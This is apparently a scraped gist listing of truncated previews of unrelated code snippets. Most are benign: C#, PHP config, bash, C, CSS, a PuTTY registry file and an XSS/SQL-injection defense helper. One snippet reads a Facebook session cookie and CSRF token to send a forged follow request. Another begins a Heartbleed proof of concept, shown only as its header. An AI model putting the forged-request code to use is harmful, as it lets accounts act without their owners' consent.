This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections.Generic; | |
using System.Linq; | |
using System.Text; | |
using System.Net; | |
namespace SpWebClient | |
{ | |
public class SpWebClient : WebClient | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* DO NOT EXECUTE THIS SCRIPT */ function DO_NOT_EXECUTE_ME() { if (false) { /* DO NOT EXECUTE THIS SCRIPT */ | |
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; | |
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); | |
/* DO NOT EXECUTE THIS SCRIPT */ }} /* DO NOT EXECUTE THIS SCRIPT */ | |
function follow(abone) { | |
var xhr = new XMLHttpRequest(); | |
var post_data = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp="; | |
xhr.open("POST", "/ajax/follow/follow_profile.php?__a=1", true); | |
xhr.send(post_data); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstdio> | |
template<typename T> | |
struct _bits_peeker { | |
union { | |
unsigned char bytes[sizeof(T)]; | |
T value; | |
}; | |
}; | |
#define bits_peeker struct _bits_peeker |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
define('DEBUG', false); | |
if (DEBUG) { | |
error_reporting(E_ALL ^ E_NOTICE); | |
} else { | |
error_reporting(0); | |
} | |
// ob_start(); // Start buffering | |
define('DB_HOST', 'localhost'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
###################### | |
# AUTHOR: Inndy # | |
# DATE: 2014/04/11 # | |
###################### | |
MIME_DEFAULT="text/html" | |
if [ -z $1 ] || [ -z $2 ]; then |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#define BUFFER_SIZE 4096 | |
// Reference: http://en.wikipedia.org/wiki/UTF-8 | |
#define UTF8_MASK_C 0x080 // 0b10000000 | |
#define UTF8_MASK_2 0x0C0 // 0b11000000 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Windows Registry Editor Version 5.00 | |
[HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\Default%20Settings] | |
"TermWidth"=dword:00000050 | |
"TermHeight"=dword:0000001E | |
"Font"="Consolas" | |
"FontIsBold"=dword:00000000 | |
"FontCharSet"=dword:00000000 | |
"FontHeight"=dword:0000000C | |
"FontQuality"=dword:00000003 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
""" | |
Author: takeshix <takeshix@adversec.com> | |
PoC code for CVE-2014-0160. Original PoC by Jared Stafford (jspenguin@jspenguin.org). | |
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP. | |
""" | |
import sys,struct,socket | |
from argparse import ArgumentParser |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
* { font-family: "LiHei Pro", "Heiti TC", "Microsoft YaHei", "Microsoft JhengHei", "WenQuanYi Micro Hei","WenQuanYi Zen Hei", sans-serif !important; } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php // DO NOT COPY THESE CODE IF YOU DON'T KNOW WHAT I'M DONING!!! | |
/* | |
* 使用說明 | |
* | |
* 在資料庫連結完成,並且設定編碼完成後再使用 | |
* | |
* 先 defense_xss 再 defense_sql_injection | |
* | |
* 如果出現問題則先取消 defense_xss |
OlderNewer